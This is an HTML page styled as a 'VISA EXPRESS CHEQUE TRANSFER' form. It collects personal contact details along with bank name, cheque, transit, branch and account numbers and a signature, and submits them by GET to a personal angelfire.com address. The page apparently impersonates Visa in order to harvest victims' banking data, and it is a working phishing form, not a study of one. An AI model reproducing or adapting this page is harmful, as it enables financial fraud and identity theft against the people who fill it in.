<html> <body> <div class="Section1"> <div id="jlang" style="LEFT: 395px; BORDER-RIGHT: none; BORDER-TOP: none; BORDER-LEFT: none; WIDTH: 47px; BORDER-BOTTOM:none; POSITION: absolute; TOP: 10px; HEIGHT: 47px"><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div id="Bannerj" style="LEFT: 395px; POSITION: absolute; TOP:10px"> <FONT SIZE=5 COLOR="#C0C0C0"> <B>"VISA</B></FONT> <font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div class="Section2"> <div id="jlang" style="LEFT: 480px; BORDER-RIGHT: none; BORDER-TOP: none; BORDER-LEFT: none; WIDTH: 50px; BORDER-BOTTOM:none; POSITION: absolute; TOP: 10px; HEIGHT: 50px"><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div id="Bannerj" style="LEFT: 480px; POSITION: absolute; TOP:07px"> <IMG SRC="optg.gif" HEIGHT=50 WIDTH=50><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div class="Section3"> <div id="jlang" style="LEFT: 540px; BORDER-RIGHT: none; BORDER-TOP: none; BORDER-LEFT: none; WIDTH: 47px; BORDER-BOTTOM:none; POSITION: absolute; TOP: 10px; HEIGHT: 47px"><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div id="Bannerj" style="LEFT: 540px; POSITION: absolute; TOP:10px"> <FONT SIZE=5 COLOR="#C0C0C0"> <B>EXPRESS"</B></FONT> <font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <BR> <div id="Bannerj" style="LEFT: 400px; POSITION: absolute; TOP: 57px"> <FONT SIZE=5 COLOR="#C0C0C0"> <B>CHEQUE TRANSFER</B></FONT> <font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <BR> <BR> <BR> <CENTER> <form name="input" action="http://www.angelfire.com/ia/LOVESOUNDS/visa" method="get"> NAME: <input type="text" name="NAME"> SURNAME: <input type="text" name="SURNAME"> <BR> <BR> ADDRESS: <input type="text" name="ADDRESS"> CITY: <input type="text" name="CITY"> <BR> <BR> STATE: <input type="text" name="STATE"> COUNTRY: <input type="text" name="COUNTRY"> POSTAL CODE: <input type="text" name="PCODE"> <BR> <BR> PHONE#: <input type="text" name="PHONE"> EMAIL ADDRESS: <input type="text" name="EMAIL"> <BR> <BR> ITEM DESCRIPTION: <input type="text" name="ITEM"> QUANTITY: <input type="text" name="QUANTITY"> AMOUNT: <input type="text" name="AMOUNT"> <BR> <BR> <BR> <P> BANK NAME: <input type="text" name="BNAME"> BANK ADDRESS: <input type="text" name="BADDRESS"> CITY: <input type="text" name="BCITY"> STATE: <input type="text" name="BSTATE"> COUNTRY: <input type="text" name="BCOUNTRY"> POSTAL CODE: <input type="text" name="PCODE"> <BR> <BR> CHEQUE#: <input type="text" name="CHEQUE#"> TRANSIT #: <input type="text" name="TRANSIT#"> BRANCH#: <input type="text" name="BRANCH#"> ACCOUNT# <input type="text" name="ACCOUNT#"> <BR> <BR> <CENTER> PREAUTHORIZED PAYMENT:</CENTER> <BR> APPROVAL SIGNATURE: <input type="text" name="ACCOUNT#"> </P> </CENTER> <P> <B> <CENTER> I THE ABOVE MENTIONED NAME, HEREBY CERTIFY <BR> THE ABOVE INFORMATION IS TRUE AND CORRECT AND <BR> AGREE THAT ALL SALES ARE FINAL AND WITHOUT LIABILITY. </CENTER></B> </P> <P ALIGN=CENTER> <FONT SIZE=5> <B> <input type="submit" value="SEND" style="color:#000000; background-color:#FFD989;"> </B> </input> </FONT> </P> </form> </body> </html>